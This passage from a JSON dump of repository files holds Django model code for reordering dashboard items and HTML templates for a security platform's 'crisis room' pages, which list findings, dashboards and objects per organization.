new_item.save(update_fields=[\"position\"])\n                    self.save(update_fields=[\"position\"])\n\n                logger.info(\n                    \"Dashboard item %s has been swapped with %s of dashboard %s\",\n                    old_item.name,\n                    new_item.name,\n                    old_item.dashboard,\n                )\n            except DashboardItem.DoesNotExist:\n                return\n\n        logger.info(\"Dashboard item position updated\", dashboard_item_id=self.id, event_code=\"900310\")\n\n\ndef get_dashboard_item_positions(instance: DashboardItem) -> list[int]:\n    return list(DashboardItem.objects.filter(dashboard=instance.dashboard).values_list(\"position\", flat=True))\n\n\n@receiver(pre_save, sender=DashboardItem)\ndef dashboard_item_pre_save(sender, instance, *args, **kwargs):\n    if instance._state.adding:  # not when updating\n        positions = get_dashboard_item_positions(instance)\n        position = max(positions, default=0) + 1\n        if position <= MAX_POSITION:\n            instance.position = position\n        else:\n            raise ValidationError(_(\"Max dashboard items reached.\"))\n\n\n@receiver(post_delete, sender=DashboardItem)\ndef dashboard_item_post_delete(sender, instance, *args, **kwargs):\n    \"\"\"Change the position of the other items on the dashboard after deleting one object.\"\"\"\n    with transaction.atomic():\n        try:\n            dashboard_items = DashboardItem.objects.filter(\n                dashboard=instance.dashboard, position__gte=instance.position\n            )\n            if dashboard_items:\n                dashboard_items.update(position=models.F(\"position\") - 1)\n\n        except (Dashboard.DoesNotExist, instance.DoesNotExist):\n            return\n"
  },
  {
    "path": "rocky/crisis_room/templates/crisis_room.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" class=\"crisisroom\">\n        <section>\n            <div>\n                <h1>{% translate \"Crisis room\" %}</h1>\n                <p>{% translate \"Crisis room overview for all organizations.\" %}</p>\n            </div>\n            {% include \"crisis_room_findings.html\" %}\n\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/crisis_room_dashboards.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"crisisroom\">\n        <section>\n            <div>\n                <h2>{% translate \"Dashboards\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        On this page you can see an overview of the dashboards for all organizations.\n                        **More context can be written here**\n                    {% endblocktranslate %}\n                </p>\n            </div>\n            {% for organization, organization_dashboards in organizations_dashboards.items %}\n                <section>\n                    <div>\n                        <h3>{{ organization.name }} {% translate \"dashboards\" %}</h3>\n                        {% if organization_dashboards %}\n                            {% for dashboards in organization_dashboards %}\n                                {% for dashboard_item, report in dashboards.items %}\n                                    {% if report %}\n                                        <section>\n                                            <div>\n                                                <h4 id=\"dashboard_{{ dashboard_item|slugify }}\">{{ dashboard_item }}</h4>\n                                                {% include dashboard_item.template with data=report.1 is_dashboard_item=\"yes\" %}\n\n                                            </div>\n                                        </section>\n                                    {% endif %}\n                                {% endfor %}\n                            {% endfor %}\n                        {% else %}\n                            <p>{% translate \"There are no dashboards to display.\" %}</p>\n                        {% endif %}\n                    </div>\n                </section>\n            {% endfor %}\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/crisis_room_findings.html",
    "content": "{% load i18n %}\n\n{% if dashboard_items %}\n    {% if organizations_findings_summary and organizations_findings_summary.total_finding_types != 0 %}\n        <section>\n            <div>\n                <div>\n                    <h2>{% translate \"Findings overview\" %}</h2>\n                    <p>\n                        {% blocktranslate %}\n                            This overview shows the total number of findings per\n                            severity that have been identified for all organizations.\n                            This data is based on the latest Crisis Room Findings Report\n                            of each organization.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n                {% include \"partials/report_severity_totals_table.html\" with data=organizations_findings_summary %}\n\n            </div>\n        </section>\n        <section>\n            <div>\n                <div>\n                    <h2>{% translate \"Findings per organization\" %}</h2>\n                    <p>\n                        {% blocktranslate trimmed %}\n                            This table shows the findings that have been identified for each organization,\n                            sorted by the finding types and grouped by organizations.\n                            This data is based on the latest Crisis Room Findings Report\n                            of each organization.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n                {% include \"partials/crisis_room_findings_table.html\" %}\n\n            </div>\n        </section>\n    {% else %}\n        <section>\n            <h3>{% translate \"Findings overview\" %}</h3>\n            <p>\n                {% blocktranslate trimmed %}\n                    No findings have been identified yet. As soon as they have been\n                    identified, they will be shown on this page.\n                {% endblocktranslate %}\n            </p>\n        </section>\n    {% endif %}\n{% else %}\n    <section>\n        <p>\n            {% blocktranslate trimmed %}\n                There are no organizations yet. After creating an organization,\n                the identified findings will be shown here.\n            {% endblocktranslate %}\n        </p>\n    </section>\n{% endif %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/crisis_room_header.html",
    "content": "{% load i18n %}\n\n<div>\n    <nav class=\"tabs\" aria-label=\"{% translate \"Crisis room navigation\" %}\">\n        <ul>\n            <li {% if active == \"findings\" %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% url 'crisis_room' %}\">{% translate \"Findings\" %}</a>\n            </li>\n        </ul>\n    </nav>\n</div>\n"
  },
  {
    "path": "rocky/crisis_room/templates/organization_crisis_room.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Crisis room\" %}</h1>\n                {% include \"organization_crisis_room_header.html\" with active=dashboard.name %}\n\n                {% if dashboards %}\n                    <div class=\"fifty-fifty\">\n                        <div class=\"horizontal-view\">\n                            <h2>{{ dashboard.name }}</h2>\n                            {% if organization_member.can_delete_dashboard %}\n                                <div class=\"dropdown\">\n                                    <button aria-label=\"{% translate \"Options for dashboard\" %}\"\n                                            aria-controls=\"action-dropdown\"\n                                            aria-expanded=\"false\"\n                                            class=\"icon-only ti-dots-vertical dropdown-button\"></button>\n                                    <div id=\"action-dropdown\" class=\"dropdown-list\">\n                                        <ul>\n                                            {% if not dashboard_items.0.item.findings_dashboard %}\n                                                <li role=\"option\">\n                                                    <button type=\"button\" id=\"toggle-dashboard-button\">\n                                                        <span class=\"toggle-item\"><i class=\"icon ti-eye\"></i>{% translate \"Show all descriptions\" %}</span>\n                                                        <span class=\"toggle-item\" data-show=\"off\"><i class=\"icon ti-eye-off\"></i>{% translate \"Hide all descriptions\" %}</span>\n                                                    </button>\n                                                </li>\n                                            {% endif %}\n                                            <li>\n                                                <a href=\"#delete-dashboard-modal\" class=\"plain destructive\">\n                                                    <i class=\"icon ti-trash\"></i>{% translate \"Delete dashboard\" %}\n                                                </a>\n                                            </li>\n                                        </ul>\n                                    </div>\n                                </div>\n                            {% endif %}\n                        </div>\n                    </div>\n                    {% if organization_member.can_delete_dashboard %}\n                        {% include \"partials/delete_dashboard_modal.html\" %}\n\n                    {% endif %}\n                    {% include \"organization_crisis_room_dashboard_items.html\" %}\n\n                {% else %}\n                    <div class=\"centered\">\n                        <img src=\"{% static \"img/fishbone.svg\" %}\" alt=\"Fishbone image\">\n                        <p>\n                            {% blocktranslate trimmed %}\n                                There are no dashboards yet.\n                                Click on \"Add dashboard\" to create a new dashboard.\n                            {% endblocktranslate %}\n                        </p>\n                    </div>\n                {% endif %}\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n    <script src=\"{% static \"js/dashboard.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/organization_crisis_room_dashboard_items.html",
    "content": "{% load i18n %}\n{% load static %}\n\n{% if dashboard_items %}\n    <div class=\"dashboard\">\n        {% for dashboard_item in dashboard_items %}\n            {% if dashboard_item.item.findings_dashboard %}\n                {% include dashboard_items.0.item.template with dashboard_item=dashboard_items.0.item data=dashboard_items.0.data.report_data is_dashboard_item=\"yes\" %}\n\n            {% else %}\n                <section id=\"item-{{ dashboard_item.item.id }}\"\n                         class=\"width-{{ dashboard_item.item.settings.size }}\">\n                    <div class=\"dashboard-item\">\n                        <div class=\"header\">\n                            <div class=\"header-group\">\n                                <h3 class=\"header-group-item header-title\"\n                                    id=\"dashboard-item-{{ dashboard_item.item.name|slugify }}\">\n                                    {{ dashboard_item.item.name }}\n                                </h3>\n                                <span class=\"header-group-item label system-tag color-grey\">\n                                    {% if dashboard_item.item.source == \"object_list\" %}\n                                        {% translate \"Object list\" %}\n                                    {% elif dashboard_item.item.source == \"finding_list\" %}\n                                        {% translate \"Finding list\" %}\n                                    {% elif dashboard_item.item.recipe %}\n                                        {% translate \"Report section\" %}\n                                    {% endif %}\n                                </span>\n                                {% if dashboard_item.item.recipe and dashboard_item.item.source %}\n                                    <a class=\"header-group-item dashboard-item-link\"\n                                       href=\"{% url \"view_report\" dashboard_item.data.report.organization_code %}?report_id={{ dashboard_item.data.parent_report.primary_key }}&observed_at={{ dashboard_item.data.report.observed_at|date:\"Y-m-d H:i:s:u\" }}\">\n                                        <span class=\"date\">{{ dashboard_item.data.report.reference_date }}</span> <span class=\"name\">{{ dashboard_item.data.parent_report.name }}</span>\n                                    </a>\n                                {% elif dashboard_item.item.recipe %}\n                                    <a class=\"header-group-item dashboard-item-link\"\n                                       href=\"{% url \"view_report\" dashboard_item.data.report.organization_code %}?report_id={{ dashboard_item.data.report.primary_key }}&observed_at={{ dashboard_item.data.report.observed_at|date:\"Y-m-d H:i:s:u\" }}\">\n                                        <span class=\"date\">{{ dashboard_item.data.report.reference_date }}</span> <span class=\"name\">{{ dashboard_item.data.report.name }}</span>\n                                    </a>\n                                {% endif %}\n                            </div>\n                            <div class=\"header-toolbar\">\n                                {% if organization_member.can_modify_dashboard_item %}\n                                    {% include \"partials/dashboard_item_action_button.html\" %}\n\n                                {% endif %}\n                            </div>\n                        </div>\n                        {% if organization_member.can_delete_dashboard_item %}\n                            {% include \"partials/delete_dashboard_item_modal.html\" with name=dashboard_item.item.name item_id=dashboard_item.item.id|stringformat:\"s\" %}\n\n                        {% endif %}\n                        {% if dashboard_item.item.recipe and dashboard_item.item.source %}\n                            {% include \"partials/report_dashboard_item_filter.html\" with type=\"report-section\" recipe=dashboard_item.data.recipe input_oois=dashboard_item.data.report_data.input_data.input_oois %}\n                            {% include dashboard_item.item.template with dashboard_item=dashboard_item.item data=dashboard_item.data.report_data.report_data %}\n\n                        {% elif dashboard_item.item.recipe %}\n                            {% include \"partials/report_dashboard_item_filter.html\" with type=\"report-section\" recipe=dashboard_item.data.recipe input_oois=dashboard_item.data.recipe.input_recipe.input_oois %}\n                            {% include dashboard_item.item.template with dashboard_item=dashboard_item.item data=dashboard_item.data.report_data aggregate_dashboard_item=\"yes\" %}\n\n                        {% else %}\n                            {% include \"partials/report_dashboard_item_filter.html\" %}\n                            {% include dashboard_item.item.template with dashboard_item=dashboard_item.item data=dashboard_item.data %}\n\n                        {% endif %}\n                    </div>\n                </section>\n            {% endif %}\n        {% endfor %}\n    </div>\n{% else %}\n    <div class=\"centered\">\n        <img src=\"{% static \"img/fishbone.svg\" %}\" alt=\"Fishbone image\">\n        <p>{% translate \"There are no dashboard items added yet.\" %}</p>\n        {% if organization_member.can_add_dashboard_item and organization_member.can_change_dashboard %}\n            <p>\n                {% blocktranslate trimmed %}\n                    You can add dashboard items via the filters on the objects and\n                    findings page or you can add a report section.\n                {% endblocktranslate %}\n            </p>\n            <div class=\"button-container\">\n                <a class=\"button ghost\"\n                   href=\"{% url \"ooi_list\" organization_code=organization.code %}\">{% translate \"Add objects\" %}</a>\n                <a class=\"button ghost\"\n                   href=\"{% url \"finding_list\" organization_code=organization.code %}\">{% translate \"Add findings\" %}</a>\n                <a class=\"button ghost\" href=\"#dashboard-item-explanation-modal\">{% translate \"Add report section\" %}</a>\n            </div>\n        {% endif %}\n    </div>\n    {% include \"partials/new_dashboard_item_explanation_modal.html\" %}\n\n{% endif %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/organization_crisis_room_header.html",
    "content": "{% load i18n %}\n{% load static %}\n{% load component_tags %}\n\n<nav class=\"tabs\" aria-label=\"{% translate \"Crisis room navigation\" %}\">\n    <ul>\n        {% for dashboard in dashboards %}\n            <li {% if active == dashboard.name %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% url \"organization_crisis_room\" organization_code=dashboard.organization.code id=dashboard.id %}\">{{ dashboard.name }}</a>\n            </li>\n        {% endfor %}\n        {% if organization_member.can_add_dashboard %}\n            <li>\n                <a href=\"#new-dashboard\">+ {% translate \"Add dashboard\" %}</a>\n            </li>\n            {% include \"partials/new_dashboard_modal.html\" %}\n\n        {% endif %}\n    </ul>\n</nav>\n{% block html_at_end_body %}\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/crisis_room_findings_table.html",
    "content": "{% load i18n %}\n\n<div>\n    <table>\n        <caption class=\"visually-hidden\">{% translate \"Findings per organization overview\" %}</caption>\n        <thead>\n            <tr>\n                <th>{% translate \"Organization\" %}</th>\n                <th scope=\"col\">{% translate \"Finding types\" %}</th>\n                <th scope=\"col\">{% translate \"Occurrences\" %}</th>\n                <th scope=\"col\">{% translate \"Highest risk level\" %}</th>\n                <th scope=\"col\">{% translate \"Critical finding types\" %}</th>\n                <th scope=\"col\" class=\"visually-hidden actions\">{% translate \"Details\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            {% for dashboard_item in dashboard_items %}\n                {% with findings=dashboard_item.data.report_data.findings %}\n                    <tr>\n                        <td>\n                            <a href=\"{% url 'organization_crisis_room_landing' organization_code=dashboard_item.item.dashboard.organization.code %}\">{{ dashboard_item.item.dashboard.organization.name }}</a>\n                        </td>\n                        <td>\n                            {% if findings.summary.total_finding_types %}\n                                {{ findings.summary.total_finding_types }}\n                            {% else %}\n                                -\n                            {% endif %}\n                        </td>\n                        <td>\n                            {% if findings.summary.total_occurrences %}\n                                {{ findings.summary.total_occurrences }}\n                            {% else %}\n                                -\n                            {% endif %}\n                        </td>\n                        <td>\n                            {% if dashboard_item.data.report_data.highest_risk_level %}\n                                <span class=\"{{ dashboard_item.data.report_data.highest_risk_level }}\">{{ dashboard_item.data.report_data.highest_risk_level|capfirst }}</span>\n                            {% else %}\n                                -\n                            {% endif %}\n                        </td>\n                        <td>\n                            {% if findings.summary.total_by_severity_per_finding_type %}\n                                {{ findings.summary.total_by_severity_per_finding_type.critical }}\n                            {% else %}\n                                -\n                            {% endif %}\n                        </td>\n                        <td class=\"actions\">\n                            <button class=\"expando-button\"\n                                    data-icon-open-class=\"icon ti-chevron-down\"\n                                    data-icon-close-class=\"icon ti-chevron-up\"\n                                    data-close-label=\"{% translate \"Close details\" %}\">\n                                {% translate \"Open details\" %}\n                            </button>\n                        </td>\n                    </tr>\n                    <tr class=\"expando-row\">\n                        <td colspan=\"6\">\n                            {% if findings %}\n                                <div>\n                                    <h5>{% translate \"Findings overview\" %}</h5>\n                                    <p>\n                                        {% translate \"This overview shows the total number of findings per severity that have been identified for this organization.\" %}\n                                    </p>\n                                </div>\n                                {% include \"partials/report_severity_totals_table.html\" with data=findings.summary %}\n\n                                <div>\n                                    <h5>\n                                        {% with total=findings.summary.total_by_severity_per_finding_type %}\n                                            {% translate \"Critical and high findings\" %} ({{ findings.finding_types|length }}/{{ total.critical|add:total.high }})\n                                        {% endwith %}\n                                    </h5>\n                                    <p>\n                                        {% blocktranslate trimmed %}\n                                            This table shows the top 25 critical and high findings that have\n                                            been identified for this organization, grouped by finding types.\n                                            A table with all the identified findings can be found in the Findings Report.\n                                        {% endblocktranslate %}\n                                    </p>\n                                </div>\n                                {% include \"partials/report_findings_table.html\" with finding_types=findings.finding_types report=dashboard_item.report is_crisis_room=\"yes\" %}\n\n                            {% else %}\n                                <p>{% translate \"No findings have been identified. Check report for more details.\" %}</p>\n                            {% endif %}\n                            <div class=\"horizontal-view toolbar\">\n                                <div class=\"button-container\">\n                                    <a class=\"button\"\n                                       href=\"{% url \"view_report\" dashboard_item.data.report.organization_code %}?report_id={{ dashboard_item.data.report.primary_key }}#findings-table\">\n                                        {% translate \"View findings report\" %}\n                                    </a>\n                                    <a class=\"button ghost\"\n                                       href=\"{% ooi_url \"ooi_edit\" dashboard_item.data.report.report_recipe dashboard_item.data.report.organization_code %}\">\n                                        <span aria-hidden=\"true\" class=\"icon ti-edit action-button\"></span>{% translate \"Edit report recipe\" %}\n                                    </a>\n                                </div>\n                            </div>\n                        </td>\n                    </tr>\n                {% endwith %}\n            {% endfor %}\n        </tbody>\n    </table>\n</div>\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/dashboard_finding_list.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<div class=\"horizontal-scroll\">\n    <p class=\"de-emphasized\">\n        {% blocktranslate with length=data.finding_list|length trimmed %}\n            Showing {{ length }} findings\n        {% endblocktranslate %}\n    </p>\n    {% include \"partials/dashboard_finding_list_table.html\" %}\n\n</div>\n<div class=\"toolbar\">\n    {% with params=dashboard_item.get_query_url %}\n        <a class=\"button ghost\"\n           href=\"{% url \"finding_list\" organization_code=organization.code %}?{{ params }}\">\n            {% translate \"Go to findings\" %}\n            <span class=\"icon ti-chevron-right\" aria-hidden=\"true\"></span>\n        </a>\n    {% endwith %}\n</div>\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/dashboard_finding_list_table.html",
    "content": "{% load i18n %}\n{% load static %}\n{% load crisis_room %}\n\n<table>\n    <caption class=\"visually-hidden\">\n        {% translate \"Findings table \" %}\n        <span class=\"visually-hidden\">, {% translate \"column headers with buttons are sortable\" %}</span>\n    </caption>\n    <thead>\n        <tr>\n            {% for column_value in dashboard_item.settings.columns %}\n                <th>{{ column_value|get_column_name_finding_list }}</th>\n            {% endfor %}\n            <th class=\"sticky-cell visually-hidden actions\">{% translate \"Details\" %}</th>\n        </tr>\n    </thead>\n    <tbody>\n        {% for finding in data.finding_list %}\n            <tr>\n                {% for column_value in dashboard_item.settings.columns %}\n                    <td>\n                        {% if column_value == \"severity\" %}\n                            <span class=\"{{ finding.finding_type.risk_severity.value|lower }}\">{{ finding.finding_type.risk_severity.value|capfirst }}</span>\n                        {% endif %}\n                        {% if column_value == \"finding\" %}\n                            {% if finding.finding_type.name %}\n                                <a href=\"{% ooi_url \"ooi_detail\" finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                   title=\"{% blocktranslate trimmed with finding=finding.finding_type.name %} Show details for {{ finding }} {% endblocktranslate %}\">{{ finding.finding_type.name }}</a>\n                            {% else %}\n                                <a href=\"{% ooi_url \"ooi_detail\" finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                   title=\"{% blocktranslate trimmed with finding=finding.finding.finding_type %} Show details for {{ finding }} {% endblocktranslate %}\">{{ finding.finding.finding_type.human_readable }}</a>\n                            {% endif %}\n                        {% endif %}\n                        {% if column_value == \"location\" %}\n                            <a href=\"{% ooi_url \"ooi_detail\" finding.finding.ooi organization.code query=mandatory_fields observed_at=observed_at %}\"\n                               title=\"{% blocktranslate trimmed with finding=finding.finding.primary_key %} Show details for {{ finding }} {% endblocktranslate %}\">{{ finding.finding.ooi.human_readable }}</a>\n                        {% endif %}\n                        {% if column_value == \"tree\" %}\n                            <a aria-label=\"Navigate to tree view of {{ finding.finding.human_readable }}\"\n                               class=\"actions icon-only ti-subtask button\"\n                               href=\"{% ooi_url 'ooi_tree' finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\">{% translate \"Tree\" %}</a>\n                        {% endif %}\n                        {% if column_value == \"graph\" %}\n                            <a aria-label=\"Navigate to graph view of {{ finding.finding.human_readable }}\"\n                               class=\"actions icon-only ti-affiliate button\"\n                               href=\"{% ooi_url 'ooi_graph' finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\">{% translate \"Graph\" %}</a>\n                        {% endif %}\n                    </td>\n                {% endfor %}\n                <td class=\"actions sticky-cell\">\n                    <button type=\"button\"\n                            class=\"expando-button\"\n                            data-icon-open-class=\"icon ti-chevron-down\"\n                            data-icon-close-class=\"icon ti-chevron-up\"\n                            data-close-label=\"{% translate \"Close details\" %}\">{% translate \"Open details\" %}</button>\n                </td>\n            </tr>\n            <tr class=\"expando-row\">\n                <td colspan=\"7\">\n                    <div>\n                        <dl>\n                            {% if \"severity\" not in dashboard_item.settings.columns %}\n                                <div>\n                                    <dt>{% translate \"Severity\" %}</dt>\n                                    <dd>\n                                        <span class=\"{{ finding.finding_type.risk_severity.value|lower }}\">{{ finding.finding_type.risk_severity.value|capfirst }}</span>\n                                    </dd>\n                                </div>\n                            {% endif %}\n                            {% if \"finding\" not in dashboard_item.settings.columns %}\n                                <div>\n                                    <dt>{% translate \"Finding\" %}</dt>\n                                    <dd>\n                                        {% if finding.finding_type.name %}\n                                            <a href=\"{% ooi_url \"ooi_detail\" finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                               title=\"{% blocktranslate trimmed with finding=finding.finding_type.name %} Show details for {{ finding }} {% endblocktranslate %}\">{{ finding.finding_type.name }}</a>\n                                        {% else %}\n                                            <a href=\"{% ooi_url \"ooi_detail\" finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                               title=\"{% blocktranslate trimmed with finding=finding.finding.finding_type %} Show details for {{ finding }} {% endblocktranslate %}\">{{ finding.finding.finding_type.human_readable }}</a>\n                                        {% endif %}\n                                    </dd>\n                                </div>\n                            {% endif %}\n                            <div>\n                                <dt>{% translate \"Finding type\" %}</dt>\n                                <dd>\n                                    <a href=\"{% ooi_url \"ooi_detail\" finding.finding_type organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                       title=\"{% blocktranslate trimmed with finding_type=finding.finding_type.human_readable %} Show details for {{ finding_type }} {% endblocktranslate %}\">{{ finding.finding_type.human_readable }}</a>\n                                </dd>\n                            </div>\n                            <div>\n                                <dt>{% translate \"OOI type\" %}</dt>\n                                <dd>\n                                    <a href=\"{% url \"ooi_list\" organization_code=organization.code %}?observed_at={{ observed_at }}&ooi_type={{ finding.ooi.object_type }}\"\n                                       title=\"{% blocktranslate trimmed with ooi_type=finding.ooi.object_type %} Show {{ ooi_type }} objects {% endblocktranslate %}\">{{ finding.ooi.object_type }}</a>\n                                </dd>\n                            </div>\n                            {% if \"location\" not in dashboard_item.settings.columns %}\n                                <div>\n                                    <dt>{% translate \"Location\" %}</dt>\n                                    <dd>\n                                        <a href=\"{% ooi_url \"ooi_detail\" finding.finding.ooi organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                           title=\"{% blocktranslate trimmed with ooi=finding.finding.ooi.human_readable %} Show details for {{ ooi }} {% endblocktranslate %}\">{{ finding.finding.ooi.human_readable }}</a>\n                                    </dd>\n                                </div>\n                            {% endif %}\n                            <div>\n                                <dt>{% translate \"Risk score\" %}</dt>\n                                <dd>\n                                    {{ finding.finding_type.risk_score }}\n                                </dd>\n                            </div>\n                            <div>\n                                <dt>{% translate \"Description\" %}</dt>\n                                <dd>\n                                    {{ finding.finding_type.description }}\n                                </dd>\n                            </div>\n                            {% if finding.finding_type.recommendation %}\n                                <div>\n                                    <dt>{% translate \"Recommendation\" %}</dt>\n                                    <dd>\n                                        {{ finding.finding_type.recommendation }}\n                                    </dd>\n                                </div>\n                            {% endif %}\n                            {% if finding.finding_type.source %}\n                                <div>\n                                    <dt>{% translate \"Source\" %}</dt>\n                                    <dd>\n                                        {{ finding.finding_type.source }}\n                                    </dd>\n                                </div>\n                            {% endif %}\n                            {% if finding.finding_type.impact %}\n                                <div>\n                                    <dt>{% translate \"Impact\" %}</dt>\n                                    <dd>\n                                        {{ finding.finding_type.impact }}\n                                    </dd>\n                                </div>\n                            {% endif %}\n                            {% if \"tree\" not in dashboard_item.settings.columns %}\n                                <div>\n                                    <dt>{% translate \"Tree\" %}</dt>\n                                    <dd>\n                                        <a aria-label=\"Navigate to tree view of {{ finding.finding.human_readable }}\"\n                                           class=\"actions icon-only ti-subtask button\"\n                                           href=\"{% ooi_url 'ooi_tree' finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\">{% translate \"Tree\" %}</a>\n                                    </dd>\n                                </div>\n                            {% endif %}\n                            {% if \"graph\" not in dashboard_item.settings.columns %}\n                                <div>\n                                    <dt>{% translate \"Graph\" %}</dt>\n                                    <dd>\n                                        <a aria-label=\"Navigate to graph view of {{ finding.finding.human_readable }}\"\n                                           class=\"actions icon-only ti-affiliate button\"\n                                           href=\"{% ooi_url 'ooi_graph' finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\">{% translate \"Graph\" %}</a>\n                                    </dd>\n                                </div>\n                            {% endif %}\n                        </dl>\n                    </div>\n                </td>\n            </tr>\n        {% endfor %}\n    </tbody>\n</table>\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/dashboard_item_action_button.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<div class=\"dropdown\">\n    <button type=\"button\"\n            aria-label=\"{% translate \"Options for dashboard items\" %}\"\n            aria-haspopup=\"listbox\"\n            aria-controls=\"action-dropdown\"\n            aria-expanded=\"false\"\n            class=\"dropdown-button icon-only ti-dots-vertical\"></button>\n    <div id=\"action-dropdown\" class=\"dropdown-list\">\n        <ul role=\"listbox\" aria-labelledby=\"action-dropdown\">\n            {% if dashboard_item.item.recipe %}\n                <li role=\"option\">\n                    <button type=\"button\"\n                            class=\"toggle-item-button\"\n                            data-id=\"{{ dashboard_item.item.id }}\">\n                        <span class=\"toggle-item\"><i class=\"icon ti-eye\"></i>{% translate \"Show description\" %}</span>\n                        <span class=\"toggle-item\" data-show=\"off\"><i class=\"icon ti-eye-off\"></i>{% translate \"Hide description\" %}</span>\n                    </button>\n                </li>\n            {% endif %}\n            <form class=\"inline\"\n                  method=\"post\"\n                  action=\"{% url \"update_dashboard_item\" organization_code=organization.code %}\">\n                {% csrf_token %}\n                <input type=\"hidden\"\n                       name=\"dashboard_item\"\n                       value=\"{{ dashboard_item.item.id }}\">\n                <input type=\"hidden\"\n                       name=\"dashboard\"\n                       value=\"{{ dashboard_item.dashboard.id }}\">\n                {% if dashboard_items|length > 1 and not forloop.first %}\n                    <li role=\"option\">\n                        <button type=\"submit\" name=\"move\" value=\"up\">\n                            <i class=\"icon ti-arrow-up\"></i>{% translate \"Position up\" %}\n                        </button>\n                    </li>\n                {% endif %}\n                {% if dashboard_items|length > 1 and not forloop.last %}\n                    <li role=\"option\">\n                        <button type=\"submit\" name=\"move\" value=\"down\">\n                            <i class=\"icon ti-arrow-down\"></i>{% translate \"Position down\" %}\n                        </button>\n                    </li>\n                {% endif %}\n            </form>\n            {% if dashboard_item.item.recipe %}\n                <form class=\"inline\"\n                      method=\"post\"\n                      action=\"{% url \"report_history\" organization_code=organization.code %}\">\n                    {% csrf_token %}\n                    <input type=\"hidden\" name=\"dashboard\" value=\"{{ dashboard.id }}\">\n                    {% if dashboard_item.data.parent_report %}\n                        <input type=\"hidden\"\n                               name=\"report_reference\"\n                               value=\"{{ dashboard_item.data.parent_report.primary_key }}\">\n                    {% else %}\n                        <input type=\"hidden\"\n                               name=\"report_reference\"\n                               value=\"{{ dashboard_item.data.report.primary_key }}\">\n                    {% endif %}\n                    <li role=\"option\">\n                        <button type=\"submit\" name=\"action\" value=\"rerun\">\n                            <i class=\"icon ti-refresh\"></i>{% translate \"Rerun report\" %}\n                        </button>\n                    </li>\n                </form>\n            {% endif %}\n            <li>\n                <a href=\"#delete-item-modal-{{ dashboard_item.item.id }}\"\n                   data-modal-id=\"delete-item-modal-{{ dashboard_item.item.id }}\"\n                   class=\"plain destructive\"><i class=\"icon ti-trash\"></i>{% translate \"Delete item\" %}\n                </a>\n            </li>\n        </ul>\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/dashboard_ooi_list.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<div class=\"horizontal-scroll\">\n    <p class=\"de-emphasized\">\n        {% blocktranslate with length=data.object_list|length trimmed %}\n            Showing {{ length }} objects\n        {% endblocktranslate %}\n    </p>\n    {% include \"partials/dashboard_ooi_list_table.html\" %}\n\n</div>\n<div class=\"toolbar\">\n    {% with params=dashboard_item.get_query_url %}\n        <a class=\"button ghost\"\n           href=\"{% url \"ooi_list\" organization_code=organization.code %}?{{ params }}\">\n            {% translate \"Go to objects\" %}\n            <span class=\"icon ti-chevron-right\" aria-hidden=\"true\"></span>\n        </a>\n    {% endwith %}\n</div>\n"
  },
  {
    "path": "rocky/crisis_room/templates/partials/dashboard_ooi_list_table.html",
